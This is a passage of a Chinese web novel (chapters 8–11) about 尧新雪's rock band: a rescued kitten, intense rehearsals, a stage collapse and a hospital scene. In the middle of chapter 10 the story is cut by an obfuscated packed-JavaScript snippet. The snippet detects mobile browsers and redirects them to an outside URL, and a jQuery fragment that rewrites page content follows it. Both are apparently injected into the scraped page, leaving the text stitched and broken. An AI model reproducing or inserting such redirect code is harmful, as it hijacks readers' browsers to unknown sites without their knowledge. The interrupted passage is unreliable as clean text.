他偶尔会偏过头,和身后的两个人笑着讲话,薛仰春和楚枕石就会被逗得哈哈大笑。 连尧新橙的表情都一瞬间放松,眼底露出笑意。 宋燃犀刚兼职回来,准备上楼,就撞见了他们。 他仰头就这样看到尧新雪,看着尧新雪走在几个人跟前,以满墙的爬山虎和密密麻麻的老楼作背景,居高临下地向自己投来戏谑的一眼。 宋燃犀在怔了一秒之后只对尧新雪冷淡地点了点头,他没有和其他人打招呼,只是侧过身让出些许空间,和他们擦肩而过。 尧新雪把薛仰春和楚枕石两个送到路口就折了回来,他刚走上楼梯时就听到宋燃犀的怒声和小孩的哭声。 当他不紧不慢地走近时,只看到宋燃犀按住一个小孩,不顾小孩哇哇大哭,毫不留力地抽着小孩的屁股,怒得脸色发青。 尧新雪没有理会小孩看向他寻求帮助的可怜眼神,也完全没有插手的意思,只是抱着双臂靠着栏杆看戏一般好奇地问:“你打他干什么?” “他伤害小猫,我看到好几次了。”宋燃犀理所当然地说,语气仍有些冲。 这时候,尧新雪才注意到在宋燃犀的身后,还有一只血迹斑斑的小猫。 看起来像是极普通的流浪猫,只有几个月大,瘦弱得不像话。它身上布满了大小不一的创口,甚至有的地方已经开始流脓,一察觉到有人靠近,甚至害怕得发出嘤嘤声,蜷在一起,全身不断地发抖。 它似乎动不了,只是害怕地浑身战栗。 宋燃犀看到尧新雪单膝跪在了小猫的旁边,极怜爱似的把猫抱在了怀里,也不嫌脏。 当目光审视过猫崽身上的伤口之后,尧新雪似笑非笑地看向宋燃犀:“好人做到底,送佛送到西,你怎么不顺便把它带回去养好?” 宋燃犀松了扣住小孩的手,踹了小孩一脚让小孩滚蛋,同样单膝跪在了尧新雪的面前,去看那只小猫,郁闷道:“我没有这个条件,负不起这个责任。” “那我们一起养好了。”尧新雪用手指小心地蹭过小猫稀疏的毛,温柔地说。 “哥哥……”尧新橙似乎想要对他说什么,然而尧新雪向他摆了摆手。 宋燃犀再一次认真地看向尧新雪,对方只是怜悯地看着小猫。 尧新雪蓝灰色的长卷发就这样如同那满墙的爬山虎落下来,这个动作让他整个人都浸在夕阳金色的光里。从颈侧到他那无可挑剔的侧脸,肩颈线条干净利落,皮肤之薄之白,甚至能让人看到他青色的血管。 宋燃犀不知道想象到了什么,他的耳侧忽然又烫又红。 他粗鲁地、恼羞成怒似的从尧新雪的怀里抢过小猫,猛地站起来往楼上走去,为了掩饰自己的仓促,甚至故意把楼梯踩得很响。 他恶声恶气地冲下面仰望着自己的尧新雪道:“谁要跟你一起养啊!”然后头也不回地落荒而逃。 尧新雪抬头看着他的身影,终于忍不住笑了一声。 8. 第 8 章 尧新雪除了基本的生活需要之外,把剩下的所有钱全投进了买设备、合组排练室、录音室,他对音乐的要求很高,毫不吝惜金钱和时间。 他安排了大量时间写歌、编曲和排练。因为表演时间已经贴近,尧新雪不得不直接在排练室和队员们完善DEMO。 除了短暂的休憩和洗漱,尧新雪甚至不怎么回租房,透支着自己的身体几乎到了一种残忍的地步。有一次,在等待队员们来到排练室时,尧新雪直接靠在练习室的墙上睡着了。 “队长,队长,起来啦,我们来啦。”薛仰春蹲在尧新雪的跟前,摸着他垂到地上的长发轻声道。 尧新雪半睁开眼睛,先是看了一会薛仰春后嘴角挑起。楚枕石还没来得及说些什么调侃他的话,尧新雪就已经懒懒地伸出手,由尧新橙抓着手顺势站了起来。 他将自己的长发草草地扎起来,无视了身后其他人的眼神,走向麦克风柔声道:“开始吧。” 薛仰春和楚枕石对视了一眼,他们在这几周里迅速地形成了一个共识:黑羊会是这场比赛唯一的胜利者,他们队长可以也必须成为那个胜利者。 宋燃犀只在隔壁偶尔的说笑声里隐约地猜出尧新雪要组乐队,参加摇滚比赛。他只是抱着小猫,内心忽然生出一阵强烈的不满——当时说好了要一起养猫?现在他什么意思? 那只小猫的伤口已经被宋燃犀处理好了,他每天都给猫按时上药,在宋燃犀长达一周的悉心呵护下,猫已经能正常行走了。 这是只土猫,毛色很杂,甚至看不出是什么品种,但很有灵性,被宋燃犀养了一周之后就变得毛茸茸的、圆鼓鼓的了,它明白宋燃犀对它的善意之后,很亲宋燃犀,总喜欢向着宋燃犀撒娇。 此时此刻,宋燃犀抱着猫,沉着脸听隔壁尧新雪的笑声,在听到尧新雪终于把薛仰春和楚枕石送走之后,他把猫放了下来。 宋燃犀鬼迷心窍般,幼稚地赶着那只小猫往尧新雪那走,边拍着猫的圆屁股,边小声地催促道:“去,过去。” 这猫没白养,不明所以地看了会宋燃犀之后,就试探着往前走了。它摇摇晃晃地走过过道,走到了尧新雪的房间。 尧新雪刚把楚枕石和薛仰春送走,关上门时就看到了一只毛绒绒的小东西撞上了他的小腿。 尧新雪挑了挑眉,然后把它抱了起来,猫便拉长声音嗲嗲地“喵”了一声。 尧新雪把它举到自己面前,嘴角微微挑起,也学着猫懒懒地“喵”了一声。 “咳咳。”宋燃犀抱着双臂,倚着墙壁,眼神意味深长地看着尧新雪 他的眼睛半眯着,仿佛压抑着自己忍不住上扬的计划得逞的嘴角,耳尖通红。 尧新雪把猫抱在怀里,似笑非笑地看向他:“宋燃犀?原来你在。” 宋燃犀瞬间把脸拉了下来,硬邦邦道:“对啊。” 尧新雪看他当真了,更是忍不住笑,他安抚地抚过猫毛绒绒的背,猫在犹疑地用鼻子嗅嗅尧新雪的肩膀之后,就极为信任地用脑袋去撞尧新雪。 宋燃犀看着猫蹭着尧新雪的侧颈和锁骨,对方则因为这亲昵的姿态痒得眼角笑意更深。 白养了!宋燃犀忍不住翻了个白眼,狠狠地在心里鄙夷起这只猫。 “它叫什么名字?”尧新雪问。 “还没取,”宋燃犀看着尧新雪,话到了嘴边,舌头又被绊了一下,将“等你给它取个名字”改成了“你觉得呢?” 尧新雪伸出一根手指,猫的目光便被牢牢吸引住,努力地仰着脖子去用鼻尖蹭。 “我想想……”尧新雪捏了捏小猫粉色的肉垫。 宋燃犀看着他享受的样子,心里冒出个声音说,叫小雪也不是不行。但他绝对不会把这话说出口的,宋燃犀一瞬间抿直了唇角,避开了眼神。 “就叫小房子好不好?”尧新雪偏过头问他,他的表情天真得如同一个孩子,眼神带着期待的笑意。 宋燃犀嘴角抽搐了一下,强忍着翻白眼的冲动:“什么?” “因为它在我们这里过得很好啊,我们这个小房子。”尧新雪回答道。 宋燃犀的心好像在那一秒停了一下,然后又迅速地跳起来,几乎要冲破胸口,他微微睁大了眼睛,只是因为尧新雪说了“我们”。 这猫好像没白养。宋燃犀一瞬间想,他脖子的红快爬到了脸上,然而还是装得心不在焉,若无其事地“哦”了声:“随便,名字又没什么重要的。” “乖孩子。”尧新雪笑了一下,当宋燃犀狐疑地看过去时,只看到他温柔地摸着小猫,小声地叫着“小房子”。 逗了一会猫之后,尧新雪站了起来,他从行李箱里拿出了一件衣服,宋燃犀没细看,只是本能地想把猫带回自己房间回避一下。 “别走啊,帮我拉下拉链。”尧新雪说。 宋燃犀眨眨眼睛,回过头,只看到他随手把身上的那件T恤脱了下来,显出劲瘦的上半身。 尧新雪一看就是经常锻炼的人,身体的每一处线条都干净、流畅,薄薄的肌肉透着干练的美感而不会过分夸张。 即使宋燃犀不是第一次看到他赤裸的身体,此刻也仍然愣了一下,不得不红着脸转过了身,背过去。 “装什么?你不是都看过了吗?”尧新雪轻笑一声,让宋燃犀更是面红耳赤。 他几乎立刻就梗着脖子试图为自己辩解:“我喝醉了,我以为没人,家里漏水了。” “哦,看来是我误会你了,那可以转过来了吗?醉鬼?”尧新雪戏谑的声音响在身后,宋燃犀硬着头皮转过去,看到他的衣服却呼吸一滞。 尧新雪背对着他,微微侧过头示意自己的后背:“来,拉链。” 这是一件短上衣,纯黑色,有皮革的质感,黑色的布料到胸口为止,小腹及腰胯则有两根扣带交叉作为遮挡,这个设计让他漂亮的腹肌和人鱼线展露无遗。 除此之外,这件衣服还是一边 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火光映亮了两个人相近的脸,在狭窄的、灰暗的空间里一闪而灭。 尧新雪抬眼和宋燃犀对视,然后弯了弯眼睛,他拉开门回头说:“再见,小房子。” 猫咪乖巧地“喵”了一声,那道门就在小猫的面前轻轻地合上了。 小房子继续用脑袋撞着主人的脑袋,只见主人还站在原地,站了半天才苦恼地抓了抓自己的头发,趿着拖鞋走回房间。 宋燃犀很少抽烟,除了别人给他递的烟,他基本不抽,因为抽烟实在太贵,也对身体不好。他腰后的打火机是拍戏时忘放回去的道具,没想到能派上用场。 他开始在房间里翻箱倒柜,只是因为看到尧新雪抽烟,心底就忽然萌生出一种强烈的想要抽烟的欲望,他找了好久,终于找到了很久以前放着的一个烟盒。 他抽出一支烟,学着尧新雪的样子叼在嘴里,然后用打火机点燃。 烟雾弥漫在房间里,宋燃犀就这样躺在被子上,看着发霉的天花板发呆。 小房子蹬蹬蹬地跳上来了床,凑近踩在宋燃犀的身上,宋燃犀“哎”了一声,把右手的烟换到了左手,以免烫到猫。 “小房子。”宋燃犀念了一遍这个名字,缓缓地呼出一口烟,笑了下。 这一支烟抽完之后,他就拿出手机搜索了近日摇滚比赛的地址,然后从床上蹦起来换上鞋袜,对着愣愣望着自己的猫说:“别乱跑啊,你爸不在谁保护你,我很快就回来。” 他循着地址一路狂奔,辗转了好几次,终于到了手机显示的地方。 他就地买了票,守在入口的人给他的手背盖了个戳就把他放了进去,时间刚刚好。 宋燃犀坐在最高、最远的位置上,忍了好几支队伍的鬼哭狼嚎,终于等到了尧新雪上场。 他的表情从容,姿态放松而优雅,身后依次跟着尧新橙、薛仰春和楚枕石。 9. 第 9 章 黑羊乐队的第一首歌大获成功,紧接着带着第二、第三首歌再次斩获高分,以综合分数最高分成为A组优胜者进入前六名行列。 尧新雪带着剩下三个成员去吃了一次大排档作为忙了一个月的庆祝。为了尽快磨合,尧新雪要求这个月内每周必须排练五次,每次基本都长达四个小时。 夜色之下,薛仰春高举着啤酒和楚枕石、尧新雪、尧新橙碰杯,兴奋道:“恭喜黑羊!!!” “恭喜黑羊。”楚枕石眼球充满了血丝,虽然他现在迫切地想回宿舍倒头就睡,但也露出了一个欣慰的笑容。 “恭喜,黑羊。”尧新橙喝得脸有些红,他笑了一下 ,将目光自然而然地投到尧新雪身上。 “恭喜黑羊!”尧新雪是最后一个说这句话的人,在其他人不约而同的注视下,他的笑容仍然温良而优雅,在昏黄的灯光下更显柔和。 即使尧新雪在所有人心里都应该是那个最高兴的人,他的表现也极为克制和冷静,而这份冷静无疑也让他在得到人们狂热喜爱的同时,多增添了一分距离感和敬畏感。 四个人大吃了一顿之后,各自回家。 尧新雪已经高强度连轴转一个月了,录歌、作词作曲、账号管理和相关的宣传基本全由他负责,加之空余时间全在酒吧驻唱赚钱,尧新雪其实早已疲惫不堪,回到租房草草地洗漱之后,倒头就睡在了床垫上。 尧新橙只能结巴地哄着他,让他先起来吹干头发。 尧新雪有时会露出极为孩子气的一面,无论他在外表现得如何为一个领导者,在家里都会像一个任性的小孩。 很少人能见到这一面,尧新橙因此时常感到幸福。 他让尧新雪坐在床垫上,自己则小心翼翼地给尧新雪吹头发。尧新雪的头发很长,柔顺得像水,流过尧新橙的指尖时,仿佛连手指都余留着淡淡的香。 尧新雪困得睁不开眼睛,就这样靠着尧新橙的小腹,任他折腾。 尧新橙极为小心地吹着他的头发,直到确认尧新雪的头发干了,才小声地说:“哥哥,睡吧。” “好,你也早点睡吧,跟我睡一块,别睡地上了。我们到时候买张大点的床好了。”尧新雪懒洋洋地打了个哈欠,就这样睡上了床垫。 尧新橙给他盖好被子,眼睛清亮:“嗯。” 他坐在尧新雪的旁边,看了一会尧新雪才站起来准备洗漱。 在极窄的过道里,他就这样和想去洗手的宋燃犀相碰。 宋燃犀措不及防地看见尧新橙,下意识地往他身后看了一眼,没看到尧新雪,他心里好像隐隐有些失落。 然而还没等宋燃犀把闲散的目光收回来,尧新橙的脸色就蓦地沉下来,他上前两步,一手粗暴地揪住宋燃犀的衣领,压低声音警告道:“我,知道,你都,干了什么。不准,靠近他。” 两个人的距离因为他的动作被猛地拉近,即使这话毫无根据,宋燃犀也还是反应过来尧新橙在说什么,他轻蔑地扬起一边嘴角: “我想干什么都跟你没关系,还轮不到你管。” 他们站在这里,眼神冰冷地望着对方,气氛剑拔弩张,就在谁也不肯让步的时候,小房子在宋燃犀的房间里喵喵地叫了起来。 尧新橙仍然冷漠地看着宋燃犀,他松开了抓住宋燃犀衣领的手:“管好,你的猫。他,在睡觉。” “用不着你提醒。”宋燃犀冷笑,却还是转过身去,把小房子安抚好。尧新橙说什么对他都没有,但他也不希望尧新雪睡得不好。 尧新橙洗漱完之后没有听尧新雪的话谁在床垫上,这张床垫如果要挤两个成年男人,实在太挤。他只是如同过去每天晚上做的那样,伏在尧新雪的手侧,安静地阖上眼睛。 尧新橙也有很多份兼职,因为他结巴,和别人沟通有困难,会做的也不多,所以只能暂时做餐饮店的洗碗工。 他长得很年幼,总是会被认为是还没成年的高中生,但因为长相可爱得讨喜,店里的人都会把他当做自己的弟弟来看待。 尧新橙第二天早早地起了床去做兼职,为了保证有收入,他必须一刻不停。 “小橙过来,去端一下菜,今天客人太多了。”店长招呼他,催促道。 “好。”尧新橙应了声,然后摘下手套,冲干净手快步走向厨房。 厨房里有着好几个煤灶,几个中年大叔穿着厨师服,站在灶前不断翻炒着锅里的菜,肉类的香味刺激着所有人的味蕾,飞溅的油星子总能时不时地引起一片哄笑声。 尧新橙动作利落地照着餐号端上菜,在快步经过过道时,一个厨师恰好正在爆炒,火熊熊燃烧着,油雾仿佛瞬间被点燃,火直冲油烟机,过快过猛的火势竟然一下子吓到了尧新橙。 他的身体猛地一震,瞳孔猝然收缩,本能地做出躲闪的动作,踉跄地后退两步之后,把餐盘和自己同时摔了出去,碎掉的瓷片在 他的手上划开一道口子,连同滚烫的菜全被压在了他的手掌下。 尧新橙持续地感到耳鸣和人们重叠的问声,手上的伤口传来火辣辣的、尖锐的痛感,有好几分钟他的眼前浮现飘摇着高大男人的身影,他本能地后退,颤抖着嘴唇,终于在退无可退,后背碰到墙壁时打了一个激灵。 “小橙,小橙?你还好吗?” 尧新橙深深地呼吸,终于慢慢地、慢慢地平静下来,他终于看清了眼前那个高大男人的面容,只是这里的其中一个厨师。 他沉默地摇摇头,扶着墙站起来之后看到满地的狼藉和震惊看着他的其他人,抿了抿嘴唇后说:“对,对不起。” 店长是个好人,看他年纪还小,还受了伤,且不算什么太大的损失之后就给他放了三天假。 尧新橙在店长的办公室里缓缓说:“谢,谢谢您。” 店长抽着烟,随意地揉了揉他的头发之后开玩笑道:“怎么看到个火还能吓成这样,是不是最近睡不好,先回去处理好伤口,好好休息一下吧。” “好。”尧新橙应声。 他有些茫然地坐上了公交车,在其他乘客异样的目光下打量自己手掌上的伤口,在看到大火时,过去的一幕幕仿佛就和现在重叠,大脑的保护机制本能地让他做出了反应, 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尧新雪的呼吸轻轻地扫过尧新橙的皮肤,有那么几秒,尧新橙的手指无意识地动了几下。他绷紧下颌,微微低着头,几乎有些痴迷地看着尧新雪。 “痛不痛?”尧新雪抬眼和他对视。 尧新橙摇了摇头,看着他的眼睛又点了点头。 酒精淋过伤口的时候,锥心的痛感如同铺天盖地的针扎进手掌,但尧新橙却连眉也不皱,只是专注地看着尧新雪。 尧新雪拿着绷带帮尧新橙缠好,绑好结后才站了起来。他给尧新橙倒了杯水,然后仿佛是思考般问:“你们店长怎么说?” “让我休,三天。”尧新橙喝着水,微微仰头看向他。 “好,这几周都别让伤口碰水,问问店长能不能换个位置,先别洗碗,也别练吉他了。距离下次表演还有半个月,我们还有时间。”尧新雪没有看他,只是注视着床上散乱的乐谱。 “嗯。”尧新橙一手握着塑料杯,小口小口地喝着温水。 一束日光穿透窄小的窗,在尧新雪的侧脸上画出明显的、完美无缺的光影,然而当他转过头,带着隐约的笑意看向尧新橙时,他的脸又完全没入了阴影里。 尧新雪伸出右手,像抚摸一只小狗一样,摸着尧新橙乱乱的脑袋,然后顺着他的下颌线,温柔地抚摸着他的侧脸。 尧新橙闻到他手指的香气,不由自主地放轻了呼吸。 尧新雪的手顺势继续向下,握住了尧新橙的侧颈,拇指顶着尧新橙的下颌,稍微用了点力,强硬地迫使尧新橙抬头。 他居高临下,几乎是有着反常的冷淡,只是看着尧新橙说:“不要做多余的事,划伤手的事算了,但其他的,我不希望有下次。” 划伤和撞伤,尧新雪显然分得很清。 这是一个警告。作为乐队的吉他手,他故意再伤重双手这件事,无疑触怒了尧新雪,尧新橙下意识捏紧了杯子,他的心仿佛一下子从天上坠到了谷底。 尧新橙的瞳孔颤抖了一下,最后勉强牵动嘴角扯出一个笑:“好。” 10. 第 10 章 因为比赛要求唱的歌为原创歌曲,尧新雪必须在短时间内完成几首歌的作词作曲。 他在租房里安置了一张桌子和几张椅子,以方便作灵感的记录和队员们来到租房时可以进行歌曲的讨论。 第二首歌讲述的是路易十五因天花逝世,玛丽仅仅只做了两年太子妃之后就真正成为王后的故事。 老国王咽气的那一刻,整个法兰西的丧钟齐齐敲响,欢呼与哭泣声交织在一起,如同一个荒诞的节日。玛丽也因此彻底失去了管束,越发挥霍,傲慢地走上了架在深渊之上的、鲜花开满的独木桥。 尧新雪为了表现这种矛盾的状态,用了很多独特的声音,比如玻璃破碎时的声音,“砰”的烟花绽开的声音。他采用了大量的鼓点与弦乐编排,在听完demo时,楚枕石甚至觉得他疯了。 “这歌在现场表演,难度太高了,这词和词之间密度那么大,你还能喘气吗?”楚枕石比较慎重,他看着尧新雪,忍不住点了一支烟,“我知道你有这个能力,但音太高了,气口太少了,现场live很可能……” “新橙。”尧新雪听完他的话,也没反驳,只是往后靠着椅背,叫了一声。 尧新橙还在卫生间洗手,一听到尧新雪叫他,手都没擦就跑了出来,眨着眼睛看尧新雪,仿佛楚枕石并不存在似的。 尧新雪点了一支烟咬在嘴里,微抬下颌示意他去拿吉他。 楚枕石啧了声,半真半假地抱怨道:“别用湿的手去碰吉他啊。” “调一下音,直接进副歌。”尧新雪吩咐道。 尧新橙没有说话,只是听话地调弦之后开始弹奏。他看着桌上的乐谱,只是看了两遍,就能大概弹出来。 尧新雪垂着眼睛,动着脚打节拍,然后直接开始了第一句唱词。 这是整首歌最难的部分,在垫了两句之后就开始升调,在最后一句高音之后甚至还有长达五秒的单音“啊”。 尧新雪没有理会楚枕石越来越震惊的眼神,只是专注地望着尧新橙的手,他完美地还原了demo中的音色,连续的高音中气息也极其稳定,在简单的和弦伴奏下同样相当精准。 在唱完之后,尧新雪才将手指间夹着的烟抖了抖烟灰,挑眉看向楚枕石。 他没有说话,楚枕石却感觉到他的目光如有实感,立刻蹦了起来,跳到椅子上:“我现在就编贝斯线。” 尧新雪懒懒地抽了口烟,只是说:“去吧。” 虽然第二首歌定歌的时间比较充裕,尧新雪的完美主义就极容易犯起来。 他们常常能讨论一个细节讨论到凌晨,如果到了深夜还是没有结果,尧新雪会让薛仰春先回家,第二天再过来,楚枕石和尧新橙则留在租房里,作进一步的完善。 楚枕石觉得自己自从加入了这支乐队之后就变得更加大老粗了,胡子已经多天没剃,三天除了泡面、速食品就是香烟。他从一个青春洋溢的男大学生变成了一个被抽干生命和精力的贝斯手。 他原本以为过了磨合期、且他们的分数够高就可以减少排练次数了,结果没想到,尧新雪只减少了一次排练,并且把省下的那一次时间用在了定歌和讨论上。 尧新雪,简直是个大魔王啊!楚枕石崩溃地想。 然而即使是这样,也没有任何人想要退出。也许是因为目前黑羊已经拿到了相当亮眼的成绩,也许是因为这支乐队的乐手都精益求精……楚枕石靠着床垫,无奈地一笑,他抬头看向那个长发如瀑的身影—— 也许是因为所有人都想看到这个人实现他理想的那一天。 尧新雪坐在桌前,耳朵戴着有线耳机,正反复地听着他们新一首的编曲,并且小声地哼唱着确认歌词。他在笔记本上改掉了好几行歌词,反复地哼唱、改变咬字的方法以确认韵脚。 桌上是杂乱无章的、仅有他们乐队的人能看懂的乐谱,他们用了两个晚上来决定一个段落应该如何表现。 唯一的窗户打下一束日光,仅仅打在尧新雪的身上。 从背后看过去,他蓝灰色的长发已经长得足以散落在椅子上,他的双手摆上桌面,身体随着音乐有意无意地轻轻晃动着,这个姿势和教堂中央双手合十在胸前忏悔的人们一样。 楚枕石直到看着尧新雪摘下耳机,才吊儿郎当地问:“队长,你是在祈祷吗?” 尧新雪懒洋洋地伸了个懒腰,转头微微笑着看向他:“我是无神论者。” 黑羊乐队现在处于六进四的阶段,五天之后,就要再次演出。 尧新雪敲定了最后方案后,就直接带着人都去了排练室。 在推开排练室门的时候,尧新雪的目光不着痕迹地扫过尧新橙的手。 尧新橙注意到他的目光,像犯了错的孩子那样,有些羞恼地将手往身后藏了藏。 他从来都很听尧新雪的话,也没有碰水,加之受的只是皮外伤,尧新雪每天也都会给他上药,现在已经好得差不多了。 这首歌叫做《The queen》,尧新雪既是作曲人,也是作词人。 他站在麦克风之前,看着薛仰春举起鼓棒,做歌曲开始的倒计时。 排练室由队员合租而来,是极狭窄的,而且租借的时间有限,每一次排练长达四个小时,每一小时之间只有五分钟的休息时间。 薛仰春打鼓主要依靠小臂力量,双踩则靠大腿的力量,每一次进鼓点的节奏时都极其用力,以至于每次打完一首歌,薛仰春都大汗淋漓——这是很漂亮的方法,却也极其消耗体力,极容易损耗身体机能。 尧新雪从随身带的包里拿出一条毛巾递给她,用着温和的、类似于开玩笑的语气:“这样打鼓会损耗身体,五年之后你不想玩鼓了吗?” 薛仰春开心地接过毛巾,随口道:“但是我已经习惯了呀。” 尧新雪望着她,眼底的笑意似乎淡了不少,他摇了摇头:“习惯是可以改的。” 薛仰春还想说什么,然而看到尧新雪冷静果决的眼神后,低了低头只是说:“好。” 紧锣密鼓的排练之后比赛的日子眨眼就到了,黑羊乐队也早已在地下街区名声大噪。薛仰春、楚枕石和尧新橙依次出场时,就迎来了观众的第一次尖叫狂潮。 三个人的配合天衣无缝,很快也就把场子热了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748509|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>尧新雪边整理着耳返,边将长发撩过耳后,从后台走出。 所有人在看到他出场的那一瞬间竟然全部站了起来,爆发出激烈的欢呼。 金色的灯光追着尧新雪的步伐,他高举起双手,扬着笑,仿佛尽情享受着这足以掀翻屋顶的尖叫和欢呼,优雅而不张扬。 完美的热场音乐里,薛仰春的鼓声作了极其流畅的过渡,毫不拖泥带水。贝斯手和吉他手甚至不需要对视,同样做了漂亮的配合。 干净的清音吉他如同流动的泉水,跳跃的饱满的贝斯音则如同丝线修饰着旋律,复合的鼓音相当抓耳,极具层次感的伴奏一下就抓住了听众的耳朵。 “耀眼光辉,彩绣锦锻。” “群神的眷顾,你提裙走在伟大历史的台阶上。” …… 尧新雪唱出的第一个字时,全场保持了静默。他半垂着眼睛,缓缓地唱着。 歌词与歌词之间的气口极短,对主唱的演唱要求极高,然而尧新雪将这高难度的唱词演绎得漂亮无比,同样的,在多次转调之下,歌曲的听感得到了复杂而细腻的升华。 他本来长得就极其漂亮,视觉和听觉上,无疑都让在场的所有人得到了满足。 人声和伴奏声形成微妙而精准的错位,既克制,又动人。 黑羊乐队压轴登场,和前面五支队伍不同,他们的表演风格处于狂欢和精致之间,复杂跌宕的编曲之下,以尧新雪的独特嗓音为绝对中心,表现出了无与伦比的张力,赋予了歌曲独一无二的叙事性。 表演者蛊惑人心,听者如痴如狂。 这座废弃已久的地下工厂在长达四个月的筛选赛里不断地迎来疯狂的踩踏和爆发式的欢呼,即使场地老旧、设备廉价,也源源不断地增加着听众。 指针音乐似乎只是把这里当作筛选赛的试验品,既没有大规模的宣传,也没有充足的投资。 真的有人会期待,在这个臭名昭著的“垃圾场”能杀出一支举世无双的乐队吗? 尧新雪仰起头,他的瞳孔中映着头顶老化的线路和微微震颤着的栅顶。 在尧新雪的眼底,这几秒无限地、无限地被拉长,他仿佛听到了螺丝“叮”地一声,从高空中飞进了狂热的人群里,整个巨大的葡萄架轰地一声散架,直接坠落下来。 那里正是楚枕石的位置。 千钧一发之际,尧新雪猛地扑向了楚枕石,他毫不犹豫地将楚枕石扣在身下。紧接着重物就轰然砸落在他的背上,身体被劈开的疼痛使得他闷哼一声。 欢呼声转瞬间便成了失控崩溃的尖叫,仿佛有无数人的声音涌来,在尧新雪的耳朵里不断放大。他的手指无意识地在地面上一点一点抽搐着,蓝灰色的长发铺在地上,被血染红,然后视线逐渐模糊。 在失去意识前,尧新雪挣扎了一下,他那填满血腥味的喉咙里发出可怕的咔咔声。蜂拥而至的人群并没有注意到,他的视线只是牢牢地锁在楚枕石完好无损的双手上——好几秒过去,仿佛终于确认了一件重要的事,他才彻底昏晕过去。 “新雪————!” 有一个熟悉的声音喊道。 11. 第 11 章 尧新雪醒的时候,只感觉到浑身剧烈的疼痛,骨头仿佛碎了一样,睁开眼睛时脑袋嗡嗡地持续在响,过了几十秒,他的双眼才能聚焦,看清眼前的事物。 这里显然是私立医院的高级病房,他的手边摆着一束百合花,身上已经换了病号服。尧新雪抬起手摸了摸自己的额头,摸到一圈绷带,发现手还能动之后,按响了旁边的铃。 一个男人几乎是在铃响的下一秒就走了进来,他很年轻,面容极为清秀儒雅,穿着米白色的衬衫和黑色的修身长裤,看起来十分得体。因为常年严苛的家教,他即使只能依靠一根乌木拐杖,走路的姿态仍然赏心悦目。 在看到男人的那一刻,尧新雪就露出了一个笑容,他说:“好久不见,忆舟。” 贺忆舟听到他醒了就急不可耐地往病房里走,听到他的话之后,动了动唇,苦笑道:“不久了,你知道的,我一直在看着你。” 贺忆舟打量着眼前脸色苍白的尧新雪,即使是收了伤,尧新雪也依然漂亮,穿着病号服,让他看起来更加脆弱、易折了。 他蓝灰色的长发散落在雪白的床褥上,眼神温柔,闻言只是弯起眼睛。 贺忆舟看着这一幕,没由来地感到一丝痛苦和失望,然而他将这份情绪掩盖得很好。他坐在尧新雪手旁的凳子上,然后自然而然地拉起尧新雪的手,温声道:“还好受的伤不重,没有伤到脊椎和骨头,医生说静养几个月就好了。” “嗯,谢谢,你又救了我一次。”尧新雪笑道。 贺忆舟看着他瘦削的身体,几乎有些不忍心地偏过了眼睛,叹气道:“新雪,这太危险了。” “但我不得不做。”尧新雪只是回答道。 贺忆舟听到这句话只是勉力笑了一下,然后生硬地转开了话题:“爱乐乐团往家里寄了邀请函,是寄给你的。等你好了,我们一起去维也纳吧?” 他从百合花旁拿出一封镶着金边的邀请函,递给尧新雪,眼神温柔而殷切。 然而尧新雪甚至没有伸手去拿那封邀请函,他一动不动,只是厌倦般偏过了头:“是吗,不过我是不会去的。” 爱乐乐团是所有小提琴手梦寐以求能够加入的乐团,这个名称本身就已经能够代表小提琴手的最高荣誉。那些审核的怪胎不为钱或权打动,只为真正的天才敞开大门。 贺忆舟从十六岁开始寄自荐信,然而他这五年间的所有信件无一不被冷漠地打回,这对自小就因为小提琴而被捧为天之骄子的贺忆舟来说,无疑是一种最彻底的折辱。 如今,尧新雪却如同看着垃圾一般看着那封写有自己名字的邀请函,平淡地拒绝了贺忆舟的邀请。 贺忆舟看着他冷淡的侧脸,笑容一僵,将那份邀请函放回了原位:“新雪,我知道你这几个月里,交到了很多新的朋友。你也为 这个比赛付出了很多心血,我原本以为等你拿到了你想要的所谓第一,你就能回到我身边。所以我一直没有插手你的事,我不希望你觉得我在管你。” 他看着尧新雪无奈地垂下长睫毛,固执地继续说道:“但是我现在不能再放任你继续在那里表演了。你看看你现在的样子,因为他们的纰漏,你都受到了什么伤害。” 说到后面,贺忆舟的表情甚至有些恼怒 从他领尧新雪回家开始,十年里,他从来没有让尧新雪受过伤。 就在贺忆舟恼火得脸色阴沉时,尧新雪转过头看着他笑了一下,他的眼神带有着贺忆舟看不懂的怜悯,只是轻轻说:“不是这样的。” 贺忆舟忽然觉得眼前的人有些陌生,即使他此时此刻握着尧新雪温热的双手,却始终有一种他无论如何也无法抓住尧新雪的感觉。 贺忆舟还是保持着那副绅士优雅的作派,他选择让步:“那等你好了之后,我们再说好吗?你需要好好养伤,我们已经很久没有这样待在一起了。” “忆舟,不要阻拦我。”尧新雪只是看着他,平静地说。 “新雪,你想要的我都可以给你,无论是什么。指针音乐给出的那点邀请什么都不算。”贺忆舟也无比认真地看向尧新雪,他低下头,亲昵地蹭了蹭尧新雪的手背,然后静默了一瞬,“这是个很好的机会,新雪,我希望你能够再考虑一下,不要意气用事。” 尧新雪没有说话,只是沉默地看着他。 贺忆舟看着他冷淡的表情,还是保持着温和的笑容,他和所有邻家大哥哥好像没有任何区别,除了尧新雪,没有人发现,他平易近人的外表之下其实是多么地偏执。 他握起摆在柜边的拐杖,站起来,和尧新雪微微笑道:“我去拿你的检查结果,你受了伤就不要乱动了,小橙他们很快就来。” 贺忆舟慢慢地,慢慢地倚着拐杖走了出去,他在轻轻合拢上房门之后,眉宇间终于浮现出明显的焦躁。 助手上前,想要扶着他走去旁边坐下时,贺忆舟的表情一闪而过阴郁和怒气,然而他很快就控制好了自己的情绪,微笑着摆摆手,拒绝了助手的帮助。 尧新橙接到贺忆舟的电话时,他和薛仰春、楚枕石三个人还在超市里漫无目的地逛着,想着要给尧新雪带点什么水果。 一听到尧新雪已经醒了的消息,三个人立刻打了辆车往医院赶。 